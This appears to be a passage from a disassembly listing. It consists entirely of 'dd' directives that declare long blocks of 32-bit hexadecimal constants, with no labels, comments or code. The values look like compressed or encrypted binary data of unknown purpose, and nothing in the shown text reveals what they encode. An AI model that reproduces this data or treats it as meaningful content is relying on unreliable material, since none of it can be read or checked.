		dd 6A57E1EBh, 0A32D43ADh, 0A17B53A7h, 7A5979C0h, 3FF929F1h
		dd 4027F078h, 0EBFCB248h, 0D0FE6327h, 98DE80B4h, 14C2063Dh
		dd 0D9CF581h, 595DD095h, 4866BA63h, 2EF9B327h, 5E3E43BCh
		dd 0FC41FD13h, 0ECC0E0F9h, 0CF70BF06h, 52B821F6h, 0BF8E094Ah
		dd 0D7D45C25h, 9B890F02h, 0D4B3CA1Ah, 7564061Ah, 0D402344Ch
		dd 887D1754h, 578189EDh, 0F15D88C2h, 505EC1A8h,	0DECEE9h
		dd 29F3F183h, 876FF720h, 9487C31Bh, 4F90EA53h, 0DE52F4DCh
		dd 0F522F690h, 68F60436h, 0BE33B71Ch, 39B4F97h,	0A16FD361h
		dd 712EAF0Eh, 533EDDh, 0FBA5259h, 1BB571AAh, 3A56F689h
		dd 0DC347F25h, 31CE925h, 24E78805h, 922C7DC2h, 965ECACh
		dd 842E0432h, 0B80545A6h, 438F80B2h, 7990C801h,	7380C207h
		dd 0D49E65EDh, 79084196h, 68BA1644h, 2C399DF2h,	86223A4h
		dd 6D293963h, 8936D7AFh, 0A0729497h, 17F7429h, 454D54E3h
		dd 7B8D850Fh, 0C4E5FD40h, 0BD76490Bh, 41B01BE3h, 0E9028954h
		dd 86BEEFBDh, 88B7DC91h, 0BB02D3D0h, 0C14D332Eh, 0C57E2B79h
		dd 113CAAC8h, 9B20652h,	64BC280h, 0F2201176h, 28B92420h
		dd 8E040EF7h, 0E75ED80Ah, 7D64DDB5h, 7EEA16A3h,	5F79AF0Bh
		dd 538A0083h, 0C9C11B02h, 77CA979Dh, 85686A01h,	0E9255337h
		dd 5F8EB08Ch, 0CE0A0290h, 3A16D941h, 1D3068E7h,	9C593DC5h
		dd 49514B31h, 3E3AC44Fh, 0FB1824FAh, 247E19B2h,	809B0D7Bh
		dd 0BF665753h, 0DCF803A3h, 25BE4C4Bh, 0AE002248h, 0DFDF8977h
		dd 92628951h, 51565506h, 5EA5C568h, 19BDC2ABh, 3DE211DEh
		dd 468409F9h, 0D2290B7Ah, 637709ECh, 0A7C84913h, 80804D78h
		dd 598909C7h, 70000B2Ch, 8EBC0A5h, 0E945CCF9h, 5B360F2Fh
		dd 0A3BB94B2h, 3F31FAD3h, 0A62E214Ah, 465B7A5Bh, 0E2BA22C5h
		dd 3A21CF00h, 0A52BD7F7h, 303F6C7Fh, 5E180841h,	6F56BD68h
		dd 0D6B54FF3h, 1AFE6F30h, 3655BD52h, 0B285A277h, 3788A224h
		dd 95560B95h, 1759940Eh, 93EDEBAh, 7257B1E9h, 810339C0h
		dd 442FA987h, 60CE6063h, 7D61EE14h, 0D4F260Ch, 8804B628h
		dd 0BAE85EAAh, 0A1251802h, 80B6DA6Eh, 0BA64E908h, 33574CA8h
		dd 0B9CD7612h, 1C9884C9h, 7AC5A952h, 30A6C51h, 0F6C8529Bh
		dd 3D7F9E2Dh, 0F2500BFh, 0B7E7C48Bh, 62983CB6h,	5791E91Bh
		dd 54AFEDF9h, 0E258280h, 586089F1h, 0B54ADF4Dh,	2EB884C1h
		dd 1433E304h, 58C8F3BBh, 74830214h, 62492569h, 0F7286AD4h
		dd 0CCB115EDh, 0B47FAD68h, 95D289h, 4AD8B806h, 0E840F9EFh
		dd 12530506h, 0A0234B29h, 0FC0C2500h, 117E8A72h, 80AD4BE9h
		dd 6BE7BE62h, 47F45B71h, 25683140h, 6BE61B7Ch, 0F32D102Ch
		dd 0E5AE9CE5h, 0F4949612h, 0AD3A7AE1h, 8DB8C048h, 9868395Fh
		dd 0D8C6530h, 6295AB05h, 26A0E308h, 0D843B7Dh, 0F8893556h
		dd 7626A1h, 80DA89B9h, 0F29781EAh, 88732874h, 0D37BBC62h
		dd 3342ECFDh, 0B99264E1h, 2E01DC0h, 390A8798h, 0E69EC54Ch
		dd 0D2472300h, 0B0CF291Ch, 2D010F07h, 0EDC04805h, 13E143ECh
		dd 4E2E92Fh, 8FA2C8Dh, 103E9BA6h, 59275CAAh, 0E8CC4B7Dh
		dd 0FFAD24B0h, 0A1621AE9h, 1C092577h, 8BDA2F5Ch, 0B0FCFC78h
		dd 8F71390Ch, 300B4B48h, 0FE23B15h, 0BB345C35h,	0B8FD0317h
		dd 0A6AFD32Fh, 33E9C498h, 5B1A0BAEh, 0C69BB0DDh, 3A5797A3h
		dd 18005F21h, 0F618855h, 2F088A16h, 0BB535A40h,	9FE0E19h
		dd 878DE91Dh, 71259B51h, 0B1F34F5Eh, 0FEE03F96h, 3FD049F7h
		dd 79CBA44Fh, 0C440F86Ch, 0B8664A2Ch, 3D680BB2h, 39CB7720h
		dd 5AD2AAE5h, 25E9DC3Ah, 8BA74FD5h, 75ABFE9h, 52D9C91Ah
		dd 62358446h, 83CFFE04h, 0E5F4E62h, 0D4D977A0h,	1780E45Fh
		dd 0C1398A40h, 46AEE162h, 1ECCF745h, 5FFE8916h,	41B8BBF0h
		dd 3E94212Ch, 7D6EC5Eh,	0B14D03C3h, 1374C3DDh, 420A00E8h
		dd 0F51ABF61h, 6CFE9EBDh, 0A7DFE9B7h, 9856D064h, 57CA00D6h
		dd 1B2D0994h, 6F094D64h, 0A8848C0Fh, 5024AA3Dh,	0C03C4818h
		dd 0C0075BEEh, 986F683Ah, 7A03CC35h, 0EAD285B8h, 0DB689730h
		dd 0A14B35Eh, 48AD4382h, 654F26F7h, 3BD1B17Ch, 0E118808Bh
		dd 245BBFFCh, 76921FB1h, 0CF88C7C1h, 4056C20h, 680B8920h
		dd 0EDCDABF2h, 90E4D742h, 0E7FE5AD8h, 2E1FDBD7h, 10768210h
		dd 57312F26h, 294AD016h, 3EE9E8D0h, 3679B5ECh, 11F792Dh
		dd 2E0845BEh, 83D92431h, 715DF2E7h, 0F2F681E0h,	41F9DA3Eh
		dd 2B348BECh, 0B69A2CB3h, 55808CF1h, 632E4C68h,	0ED9AC00Ch
		dd 398F494Eh, 53870F12h, 0B86E58B1h, 8289F2ADh,	5D5FBA98h
		dd 0F429EFEh, 8318D13Fh, 5E410869h, 7FA86E13h, 1A0F26B3h
		dd 0AFB36B32h, 24E9E4B4h, 9FB1745Fh, 3AFE2FF2h,	5816BE4Fh
		dd 5487AAACh, 10BA1738h, 0E95E3092h, 0CBC72F4Bh, 5FB7769h
		dd 0BC0B7F4Bh, 2F31ECDFh, 0F37A9905h, 0F94128B0h, 83F42740h
		dd 0ABFD4FC9h, 5D385104h, 8F87C195h, 0F7906892h, 0D70452A5h
		dd 308BA261h, 1462DE7Ch, 97760954h, 4B8FD72Fh, 292E139Dh
		dd 0FAED05B3h, 0BDD801A1h, 31230550h, 0D7398E0Fh, 82DFB4A3h
		dd 450F062h, 0E3107E95h, 0AFAC170Ch, 2D1CB2E3h,	3DC34B0Ah
		dd 0D42F3774h, 66712F7Ch, 28196861h, 0B75FB223h, 44DF02C1h
		dd 55294259h, 0B8A559F4h, 494A6814h, 1B900506h,	95016A4Ch
		dd 128D209h, 1B261F1h, 60D12908h, 36BC0E8Dh, 0D71EB350h
		dd 4E03DFEEh, 0F7137CA2h, 60CF05E1h, 12A6BB1Eh,	3724D025h
		dd 7DA9EFE0h, 2F009077h, 40DB1B9Dh, 8080A5BDh, 86D4F6E0h
		dd 48F7F0E7h, 0FD323CC8h, 47F6C299h, 0AF92C4B4h, 0B8E360ACh
		dd 31F59508h, 307ED598h, 2959E964h, 0C0F35997h,	2C83B050h
		dd 3730CA98h, 16C56F44h, 4A8F1231h, 3FB2AA55h, 0EDF4E90Bh
		dd 599C3E7Ch, 57A2E2E5h, 0F1BD9F50h, 0A6CF66A0h, 0CF191820h
		dd 4405ACDAh, 0CD45FA16h, 71E303EBh, 0AF3A53D2h, 5A48198Eh
		dd 4E8FCB5Eh, 0E75FBACBh, 0D55F2709h, 0D634A8E7h, 1A0F0B81h
		dd 15567DC2h, 3F00E0E9h, 0FD304B71h, 210841B5h,	6802FC00h
		dd 2F33F924h, 26474A88h, 0FF62DF8h, 9EDB3501h, 3C83E48Ch
		dd 4ABC285Ch, 8EA4D28h,	2521D195h, 0CECEF80Ch, 17F52E08h
		dd 0EF594429h, 0A180EDAh, 203E851Ch, 43703DBEh,	83FB94EFh
		dd 65D1172Fh, 615821DAh, 474F5A1Eh, 3208DCAEh, 71E02054h
		dd 0B40CC76Ch, 7513D245h, 97EE5D7h, 5177B5AFh, 6830BD49h
		dd 0B1B3536Fh, 209773F0h, 3AC5E5E5h, 0F5505A6h,	0C9B04080h
		dd 526D516h, 6851E4h, 1D594107h, 8B0F4E5Eh, 9813104Eh
		dd 2FF0CEEEh, 10E17989h, 4F1510ECh, 90DD6427h, 0BD21BF8Dh
		dd 0EA38E844h, 21EACBFEh, 0F0575127h, 4592584Fh, 0BDC7F697h
		dd 0F348E494h, 6A5F0BD3h, 7CDC91A0h, 29207B56h,	0E671BFF9h
		dd 3A17E91Ch, 55CB3AECh, 0D1530B77h, 32E96487h,	0CA8AAFB2h
		dd 7D27FDC7h, 0FC9630A4h, 0E4604830h, 904FA8AEh, 46260293h
		dd 6A315934h, 0F55042B7h, 9773D289h, 0C6F183Eh,	718C257h
		dd 57A620Bh, 1C081201h,	82AA8D5h, 204878ADh, 19A01120h
		dd 939D0CC4h, 8698F333h, 962C011Ch, 0A368C828h,	0CBEB3C65h
		dd 0FE807FDBh, 0F586CDFEh, 8CFCEE8h, 7E980E80h,	0D8046847h
		dd 1DEE6B25h, 12C2430h,	0E9CBFE2Fh, 0F22E4Dh, 0F51E544h
		dd 361174B9h, 2F05A8D4h, 0F071A966h, 0CF74C17Bh, 295FBF04h
		dd 0FCAB59CAh, 8EE9B014h, 0AAA097A5h, 4FF22264h, 12918CB7h
		dd 7BB70F8h, 5BDE31A8h
		dd 57E9F321h, 0A8BBAA5h, 4AE25939h, 7FE1E0C0h, 0D11F3EA4h
		dd 0FFF12D52h, 29CB9C39h, 0E9415DFCh, 8A3E56D2h, 2CA8D796h
		dd 0D97521B2h, 28E98928h, 0F4B4CC60h, 2FA05197h, 11D0317Ch
		dd 18DC9FC7h, 8DFD5242h, 0B92AE0B3h, 72BFD390h,	124028Ch
		dd 8877AC17h, 0C380033Fh, 0A5C959DBh, 4FE93A1Fh, 0A3E1CB9Eh
		dd 0AE207B5Ah, 0E3D13C2Dh, 1D48880Ah, 3F6D88D5h, 12B1BB01h
		dd 0DE603080h, 7F1A2568h, 0F634D2E4h, 2C0B8FCh,	0F8564622h
		dd 0B5E9E51h, 166B796Eh, 0C31B42DAh, 358AF984h,	0AA7F357Ah
		dd 0C28BB5E2h, 4A315782h, 3D568342h, 0C6D83738h, 98752FF8h
		dd 62305A36h, 8FE957EEh, 0DCB73778h, 9E4F6373h,	5E0F1776h
		dd 930C926Ch, 0AC89F0A9h, 0BCD5F542h, 3CE91260h, 5866A4ADh
		dd 98C2CC17h, 0F0F8C7FEh, 537839EEh, 0DEBFF9B2h, 7A910E3Eh
		dd 0EEC91AAEh, 0E9E560F5h, 0D1514E0Eh, 32A296A7h, 0D9F7C525h
		dd 539F03EEh, 4C0243EBh, 50B71670h, 0CD325F09h,	7C863D80h
		dd 2114C801h, 848A1C4Fh, 680288BDh, 0F6A223D0h,	30EB8DEh
		dd 0C9502CC8h, 0F58413DDh, 0EB0E14C3h, 593335C1h, 81B54D28h
		dd 8298D353h, 68D231C1h, 0C1CEF7A6h, 1853E69Fh,	8995E6E9h
		dd 15A63E93h, 0FEB585F4h, 0E9564075h, 0B5A4363Fh, 7B29570Ch
		dd 161F523Bh, 143C591Bh, 3D25831Eh, 5C162356h, 5A8B8BFEh
		dd 0D4B18CECh, 4BF67D91h, 0C6B847EBh, 0EEF70963h, 8A502019h
		dd 8EFA5E4Eh, 5A680B81h, 0C4D8FC34h, 0C6540E99h, 90D7DA4h
		dd 4DA86858h, 46089DCh,	0A04E1715h, 4B01EAFBh, 5AD0BA52h
		dd 267D7EB9h, 0ACB35747h, 8F5594ADh, 0B5D11E2Fh, 4827E120h
		dd 0C22268EAh, 0F3D495EFh, 2B388E2h, 1E4EFE09h,	1D89CE0Fh
		dd 520152D7h, 0E8723D9Eh, 17D5ED2Bh, 28E97DE9h,	4E5DAC4Bh
		dd 371A44FBh, 8440EBCBh, 4CDDF2C3h, 77E2F983h, 5B430D54h
		dd 5C06D151h, 31B4C3Bh,	0DB409BEAh, 8DEA0580h, 0A16C8C0Fh
		dd 5187F8DCh, 0FABBBBC4h, 2BBE3BC0h, 78343013h,	0A5494F84h
		dd 0ABC984Ah, 1285558Ah, 0C1C8D2DCh, 0F6BA707Dh, 146949B9h
		dd 1DAA5226h, 0F24558BCh, 641673EDh, 75004810h,	34F84CF5h
		dd 89571CF4h, 4FA96EFh,	11955C2h, 600166B9h, 57CB9AC7h
		dd 50924B7Ch, 639A8CFEh, 476A3213h, 0EBD345BEh,	0F59BAE25h
		dd 19C8E90Bh, 8F00C6Bh,	1C2F840Fh, 0EA21E8D5h, 0D229F4Ch
		dd 0F58266E1h, 0F009870Eh, 4EF2C2BCh, 0DF85DDD4h, 8536FDCDh
		dd 23AA7902h, 0BE178960h, 0C5226240h, 5E65E05h,	0C1D25B12h
		dd 70195D4h, 2DA9D653h,	7279E569h, 2E03FEA4h, 0F43FB57Bh
		dd 0A597E90Fh, 59B76EEDh, 0B04EE985h, 0DCA05B85h, 119DD3A8h
		dd 44E4573Ch, 0FF3D207h, 0FBA575AFh, 409E0167h,	6F7F8505h
		dd 812EBD4h, 405A5822h,	828B1538h, 0DE93F076h, 53B45A52h
		dd 0E1E66473h, 4EDFFC2Fh, 649F72FFh, 20579C8h, 8BDF54DCh
		dd 5236546Fh, 0D4516A04h, 1531BA2Eh, 8100F37Ah,	13126ACFh
		dd 76043064h, 0EA49C179h, 6F5D8941h, 0A4CDB3E8h, 2DEF68Ah
		dd 0ACF605Ah, 4FC39472h, 0BE7A522Bh, 2625B620h,	9D80C2Ch
		dd 6475656Eh, 77599D69h, 5AD5FC52h, 4A624777h, 0BB53C53Eh
		dd 0FF847BF7h, 7559C8E4h, 41CD0612h, 5727C600h,	4C29F479h
		dd 71B5E5EAh, 4E1D870h,	0E0D200BCh, 0E341CCF4h,	3D079AF0h
		dd 222636C8h, 0A84EB8EBh, 10413DF1h, 5212382Dh,	4096F35Dh
		dd 40BA69FCh, 0F5F68B8Ch, 0E8137BB1h, 3DE09316h, 7F210F68h
		dd 0FB452D44h, 4B98A41Bh, 6A583A98h, 0D621EEBh,	13122797h
		dd 0F8581221h, 12B63620h, 8AF428F5h, 7523FA9h, 0C9EE800Ah
		dd 2827EB30h, 65C0DDF3h, 8D20C016h, 0E78017FFh,	725F8131h
		dd 2E733F5Ch, 0A204E583h, 16DB23h, 17286DF0h, 0D327212Ah
		dd 0CA10755Ah, 546027E9h, 168EEB45h, 0B55F7E2Fh, 7E5A6EFCh
		dd 84D8164Eh, 0F7BFC378h, 7487E64Ch, 0E8B3295Ah, 0F3087902h
		dd 0BB693143h, 2E9B359Ah, 0B5614DABh, 2CEB2B3Eh, 280F583Dh
		dd 12A568C3h, 9689B8F9h, 42F93184h, 0AF594C68h,	52B6891h
		dd 0DC28358h, 6F75F882h, 89DF1FB9h, 0D422D68Ch,	0C6DFA168h
		dd 0BD660E13h, 492479Ch, 0EA6CC362h, 800424A4h,	3678E6B8h
		dd 99EA214Eh, 0F5348410h, 38C24686h, 0CD1BDDD0h, 0AA806237h
		dd 760E27D6h, 0F2A5255Dh, 0E604175Ah, 29CC66EDh, 0EB1B7F45h
		dd 0B2452DCDh, 85A4B45h, 0B1BD5940h, 95253762h,	74B62877h
		dd 71612209h, 5E798890h, 50DEF600h, 4EC063B4h, 827F85E4h
		dd 0A90E1D3Eh, 472E2054h, 0B2F6880Fh, 0FD20EFE1h, 980C17A4h
		dd 2B9EA552h, 0EC4BBCE6h, 0E7AA935Eh, 1DD15ADEh, 7B31F1F7h
		dd 882B33C5h, 624AE261h, 0BC5B77F7h, 0FB668B3Dh, 5A730B2Ah
		dd 0E153A774h, 8D920AE0h, 2B7F02E8h, 0E0C0DD66h, 0A7B704EAh
		dd 6E507399h, 9AFEE911h, 0A44D9D08h, 70E47C2Fh,	2898D828h
		dd 746A595Dh, 8592D993h, 688130EFh, 2D943322h, 0BF09662h
		dd 61AF4E55h, 4A683B49h, 0D4F8825h, 3B571D53h, 0A51BDBA4h
		dd 0E8F8BCF4h, 0FBDDC937h, 5A2F4BF4h, 0BF2990ABh, 3665A28Bh
		dd 0E4FA2E38h, 7EE9AE02h, 52D47C23h, 55662651h,	71FE0260h
		dd 0F58931C5h, 684164D9h, 312E1406h, 2BF0A02Ch,	0A49664BDh
		dd 714AAC3Bh, 7BDF99FEh, 0E9831BBDh, 0EF135B46h, 6A81F58Ch
		dd 29F401B6h, 2840C1E8h, 330F2CF0h, 195A84ACh, 5FA9516h
		dd 64A90BBCh, 0FE35EA3Ch, 0A01EE2AAh, 9E8C42E9h, 0F5668399h
		dd 0EDB2DC47h, 0E24211FCh, 44B800E4h, 6A4CC005h, 887E295Ah
		dd 687F5D98h, 6BF6BEAFh, 6E9402FFh, 0B776098Bh,	0CA7A413Dh
		dd 0F10E7EB1h, 0BB2FD8Ah, 0B39E8F5Ah, 99E54E8h,	4E5F134Dh
		dd 0E3CF88BEh, 0BAA9A0F4h, 0BB7B1244h, 0FA0012Dh, 0A5F9228Ah
		dd 0DE485D1Ah, 0E6F1FDB1h, 7FC72D1Ch, 5DF11275h, 49744F09h
		dd 0D270CCB1h, 0B47AE82Bh, 449D18C8h, 0EAB7C5F4h, 0CBF561C6h
		dd 0DDF58000h, 23E82827h, 3F8A9E98h, 3DF3EA1Bh,	77AF3CF2h
		dd 305A05C1h, 5002D0B9h, 516829B3h, 37094845h, 0F6C9C0C8h
		dd 49736A3Eh, 584BF2B8h, 0AD3EF3E1h, 0D0B9895Ch, 0D35C2047h
		dd 46C1ACC5h, 3C7F1601h, 3AEC1FCCh, 0EA17C022h,	13851910h
		dd 38FA0126h, 96C10820h, 4F056972h, 18CE2660h, 34660C48h
		dd 0E1D032Ch, 80A00154h, 65DAE908h, 0FAC65BB9h,	550CD25Ah
		dd 12AFEFAh, 0A0A4C17Bh, 7CB42390h, 81397F25h, 1F176B5Eh
		dd 3F5369FEh, 7A2DAEB6h, 8D089AD3h, 576804A9h, 2B30EA3Ah
		dd 5A096AAAh, 0F7300404h, 481BC2D2h, 0F5FDC27Fh, 9F3676C8h
		dd 5AD6AFC1h, 0D1656D68h, 0D725E2F7h, 3442006Eh, 0EF448117h
		dd 8079E289h, 0C27A048h, 786BD653h, 64759185h, 0A7F3EA5Bh
		dd 4B42F297h, 0D3D206FBh, 54BF9D97h, 0E05913DAh, 86F45F2Ah
		dd 0A06B1763h, 5C0A1263h, 0EC31E521h, 44B1CA94h, 2827B285h
		dd 81AED8C4h, 1048F0Dh,	8324F31Ah, 0F6460BC2h, 8983EB26h
		dd 543B01D7h, 2FBD5CC3h, 0A59065FEh, 0E9D090F4h, 80E2603Eh
		dd 57093BBEh, 0E6810A07h, 239154E8h, 0F27FD6F7h, 0C71A6014h
		dd 0ED502C38h, 2C823DECh, 2451F51h, 647375C0h, 0E9DD05F5h
		dd 93D40811h, 570E90FAh, 90B869BFh, 0CF735B90h,	266F1916h
		dd 95C7BA80h, 54E27BAh,	83F111DDh, 8C21173Fh, 584166B2h
		dd 43BA17Fh, 4273C589h,	0A5685EF5h, 0E6FAE6DFh,	1AD19DCEh
		dd 4818E049h, 75E50A13h, 5062D58h, 0B7AA6CE9h, 45EE932Ch
		dd 0BA36B809h, 0D74802CAh
		dd 0EF43CC30h, 2A301D1Ch, 7CD0C21h, 3D42582Ch, 640DA413h
		dd 16A7AAFFh, 24681292h, 6489FF8Bh, 0E2010C93h,	52060132h
		dd 0CE091D1Fh, 0B085EC3Bh, 68525C6h, 43E982A0h,	5CBD8212h
		dd 0A4E4426Ah, 0A8214D5Fh, 5546BFD1h, 3B015779h, 0E973426Eh
		dd 69816081h, 0CB07DFCFh, 18EC40Fh, 8D435C5Eh, 10402E9Eh
		dd 6FF1D6D2h, 4D45054Bh, 80ED70FBh, 759DEBE5h, 0E9BB7820h
		dd 4EC14967h, 834DD5F7h, 50D301EDh, 80FCFF0Eh, 45B77B2Ch
		dd 7F4F8867h, 4EB198C4h, 53C69138h, 0A45E6655h,	0B09230FEh
		dd 4900E643h, 2D35D8F7h, 98215A68h, 0AB04EFA2h,	205B2014h
		dd 69AC7E1Eh, 0FD81BA84h, 60204761h, 845E281h, 2F25F22Eh
		dd 0EA768F13h, 80848B1Eh, 29AE0AEBh, 2DFD51BFh,	78D13B50h
		dd 4903C8ACh, 79FD57E1h, 1E3705F7h, 29872B75h, 0A912DC35h
		dd 686207AAh, 0B866C9E0h, 7648BB0Eh, 58A1F12h, 0BA830E64h
		dd 0D4C917FBh, 0BDA0F184h, 8EF3CC1h, 0D7E21425h, 8774CFF5h
		dd 93827E9h, 427CD957h,	49DDFE68h, 0D5F63CEEh, 8F5178D1h
		dd 1F7BDDFEh, 24F08189h, 698CC391h, 5344405Dh, 76FA9190h
		dd 8850FC36h, 0E9590A44h, 42A0A34Bh, 0CE69D7E5h, 40377FC7h
		dd 7727EE8Ah, 0AE2F5994h, 0B10BA2C9h, 5F71FF2Fh, 2C20CF20h
		dd 0EAD09F89h, 693D26BEh, 50515DABh, 0A29BE74Fh, 1389C9ECh
		dd 0FA0F7CC8h, 1FFA117h, 4554CF83h, 0A5787C5Dh,	6BFEC800h
		dd 5FE91547h, 0B27E02EBh, 0F6D02882h, 1CF09220h, 0CF69C780h
		dd 0ED6B7AEFh, 644FF3A7h, 6B18B154h, 62208D6Dh,	2B754109h
		dd 3D4FACA6h, 21AB2F32h, 0A7EFAC72h, 0AF4D036Eh, 0BDC20018h
		dd 77903378h, 0ED068145h, 2B2A6C5Ch, 14AA0C7Ch,	394106Bh
		dd 554186E0h, 4EE364F8h, 7181A18Dh, 77A06F3Bh, 20492AE9h
		dd 68E60B8Dh, 50B054F5h, 0C9024A47h, 3CE9412Dh,	0F8C94909h
		dd 58C5F340h, 2D2EB053h, 1ECA32E2h, 0F03DADCh, 5E20A28Bh
		dd 5E3AAB16h, 2768C72Eh, 0F80C4C75h, 742F4919h,	5AF5F703h
		dd 0F9EBE83Ch, 384D9EE9h, 84AC424h, 0BAD55C0Bh,	95F9D5DFh
		dd 84D1E845h, 0AB3EE6D1h, 0F34CB80Fh, 5A509CEAh, 16309594h
		dd 0EBB2EDF7h, 56E67825h, 0D08809FDh, 1862BDF9h, 9BECFF2Fh
		dd 654ACBF4h, 0C632A4h,	78DA063Eh, 5518A0Fh, 7F53A6A9h
		dd 88580000h, 0BFDE89EDh, 2D3B45D9h, 415421ACh,	807E5266h
		dd 0B355F424h, 704EE990h, 567770FBh, 0A1782BEh,	5F13392Ch
		dd 0DE83C40Ah, 0A764544Bh, 0E943335Fh, 8E2F0E33h, 93563F07h
		dd 74EFB6Bh, 76F3EBE1h,	1CE28155h, 3006EB22h, 397DADAEh
		dd 510C2F60h, 8062444Ch, 45335070h, 0B1A6A863h,	0F23AFD40h
		dd 40EF4AE1h, 7252E966h, 5B5257F5h, 9C4617ADh, 0F06F390h
		dd 105F3585h, 0A1B3FA12h, 42E08425h, 22CE0C1h, 0A90B3052h
		dd 0A3096847h, 4B39276Bh, 0F01487A0h, 15BE9EAh,	25BF56FAh
		dd 5B0EAE32h, 2925D039h, 0F76236FEh, 6468014Dh,	9FDA3A16h
		dd 5AD9E90Ch, 0ED51B90Bh, 9B687AD5h, 19C425E9h,	341789CBh
		dd 15210B6Dh, 6AC54A15h, 811BD130h, 0FA856F29h,	254821EEh
		dd 34BF0032h, 7BBE2D45h, 36A544A3h, 0D2F2AF84h,	2A97E9A0h
		dd 5F1AC697h, 68BC0095h, 708248F3h, 16E72F4h, 8062DD51h
		dd 272F4CB1h, 0E85731FDh, 7A8EEA2Ch, 210A2904h,	0D9EF01F7h
		dd 34291505h, 0F6518EC3h, 90BD308Eh, 74CC1904h,	2CEADA01h
		dd 1A5EFE1Dh, 0A74CA9A2h, 0EE266913h, 49F3993Ch, 38187B63h
		dd 24CF27A7h, 0C0D7F609h, 8C04D7E7h, 37E94547h,	6FE919C4h
		dd 2E36CC4h, 220E0F68h,	0FC5D3417h, 0ECC278EDh,	230348D2h
		dd 0AB45E0EBh, 4410AE29h, 0DD7B87C3h, 4BD076CDh, 0B0BD443Bh
		dd 793BED2Bh, 21910D13h, 0FD4417FEh, 98158509h,	1A844FBDh
		dd 0DD75EF44h, 4B658AAEh, 8D120D8Bh, 0AA2BF22h,	63C22E60h
		dd 42B86965h, 5807F750h, 4BA379BAh, 0C1917F8h, 25BFD098h
		dd 0F3EAE3F8h, 9EB3D3Eh, 0FF335E12h, 25086F28h,	4F953F44h
		dd 13E98900h, 9ABFFF70h, 22454838h, 65A98352h, 12BD6A66h
		dd 0A52D257Dh, 35C1E012h, 0FDE32F87h, 1851E94Eh, 0F6874BB9h
		dd 3023105h, 8012E04Eh,	340D5858h, 0C46C847h, 0CAA860Fh
		dd 88415771h, 16F14564h, 0BE53B68h, 0D7FE8FB7h,	97A39427h
		dd 24EC1C77h, 2519EBA9h, 0AA2006F9h, 0A1C8634Dh, 0FDFC05BEh
		dd 9EEF835h, 0C0C6023Ch, 186C90D7h, 4FF99126h, 9F219D69h
		dd 6E66D328h, 0B92A4283h, 0BB3E58C3h, 9688421h,	9B59D9F2h
		dd 6E07A159h, 27E0E8F1h, 0E9B094B2h, 7FDCC516h,	0F5A29F21h
		dd 24520993h, 3941D5Bh,	4541E5AAh, 7AF1AB04h, 957A447Bh
		dd 0B65202E4h, 1F72D794h, 0C6805A0Eh, 0E8E667AFh, 0C7C5DEB4h
		dd 930240B1h, 0C05B0292h, 34AA0255h, 8409D3h, 606AB1A8h
		dd 0C54033D2h, 0A1680455h, 0A8271940h, 0A4AAA4CBh, 2D5BEC2Fh
		dd 17A9F4E4h, 90D597Fh,	16FD041Ch, 4FCAFA89h, 0EDB774A0h
		dd 2D0926FFh, 3A28DBA4h, 5D0D7C25h, 0F410C410h,	30FFC04Eh
		dd 1AB12D1Bh, 0FC487624h, 75373001h, 0D28B8111h, 5305E458h
		dd 7D21C2F8h, 93BCA071h, 0C7F82DDCh, 0DD44CDC6h, 5608E113h
		dd 0BE3D600h, 5E8955E7h, 9D122CD6h, 5CA2B24Eh, 7FFA1203h
		dd 56E9D001h, 4719064h,	0D2ED8101h, 0D832530Ah,	18F66AF5h
		dd 0AF09E02Ch, 110CC10Bh, 0BFE108CBh, 5C5B822Bh, 0D5C7C5D4h
		dd 840E0BE3h, 1F75F7AEh, 0D6E9015Fh, 9FD7706Bh,	43150381h
		dd 0FE4E317Eh, 822CD67Dh, 3291A838h, 0B840E6C1h, 5BFD0278h
		dd 5970A668h, 0B1510EEDh, 0C0B5C31Ch, 0EE8237B6h, 0D20407FFh
		dd 6F1DCE04h, 7FF91B94h, 0EAF526E0h, 5C5AEAC5h,	0E31C1D30h
		dd 9A572D1Ah, 804961B4h, 0BC6F5765h, 0E7F3E180h, 4B8432Bh
		dd 8C56D25h, 830962C6h,	0D62AD8EFh, 0FE4D007Fh,	0FDE9F789h
		dd 3753685Eh, 0F94C050Ah, 0EC83F7A5h, 71841E9Eh, 5535EBE9h
		dd 0C4FEB102h, 429895ABh, 0ADED70E9h, 9C96FF24h, 0CD1CE93Ch
		dd 36E700CEh, 0C14E2853h, 94F7A1EEh, 5A9A3DBAh,	5CC1FB70h
		dd 0C15DD045h, 0CAD4EA50h, 0E062E612h, 0ED0E64F8h, 0E9CBF96Ah
		dd 7DFD62D7h, 18EBF6B8h, 8B3BD397h, 24165EF1h, 82FBE927h
		dd 6E5A5422h, 41BC2587h, 32C33A5Eh, 0C4590166h,	0D1599D1Dh
		dd 4D7A30E6h, 75DC1413h, 396C70EFh, 0BB4F0BA0h,	2AE9A380h
		dd 571CC93Dh, 55F8A3E6h, 0F2454Bh, 82138740h, 38E5CFC0h
		dd 0BFE2D99Fh, 0F8E6BD97h, 83B8E11Bh, 0BAD2C969h, 0E93AB2B2h
		dd 4B3E38ACh, 22207650h, 52EE801Bh, 16FB9851h, 0AAC58875h
		dd 0E9127DDBh, 4B9FA83Eh, 5DB25E34h, 5BE84F10h,	0EBD16AE0h
		dd 285AC095h, 0AA35E9C4h, 0BDBFDCC4h, 2ECF86C4h, 0BDC3E019h
		dd 5697D279h, 83A3C3BDh, 0CE102B2h, 805AC60Bh, 375F2C0Fh
		dd 0A74653Fh, 9180F594h, 1F40BB53h, 8B06AC7Bh, 0DB20B85Bh
		dd 3DE681DEh, 6DD66603h, 506EEC1h, 0DB37F112h, 0FCBF0060h
		dd 8964BDFBh, 0C112ADB0h, 0DE0002E3h, 522E5D0Fh, 1080EDD1h
		dd 0ECF7A416h, 5B61DE89h, 0F21BE92Eh, 0E634D13Bh, 34EF2EDFh
		dd 0EF9EFA90h, 4051E909h, 0F70921FAh, 3255520h,	0CB38198Fh
		dd 0A0F20550h, 0FB1AEE3Bh, 68080050h, 0A22D141Ch, 98E12B5h
		dd 66E1AE01h, 0C76720CBh, 0ACEEC202h, 61FB0120h, 0A9814823h
		dd 8C820FDDh, 74F27B8Bh, 5A7F0C82h, 0BF080F76h,	0F75C0BF8h
		dd 6C588282h, 1792FAA3h, 6FC67301h, 2D3ABCC5h, 0E9DA907Bh
		dd 0F6B7C819h, 0D1BA93F1h
		dd 6BDFDEFAh, 5058D1A3h, 3B99247Bh, 1ED8B6Ch, 6F2390F7h
		dd 0DC021319h, 0B8BC0929h, 313B8758h, 157197CAh, 2F887856h
		dd 88414067h, 0A452CC39h, 0D49F60E2h, 0EFECAE8Dh, 0EFBD047Eh
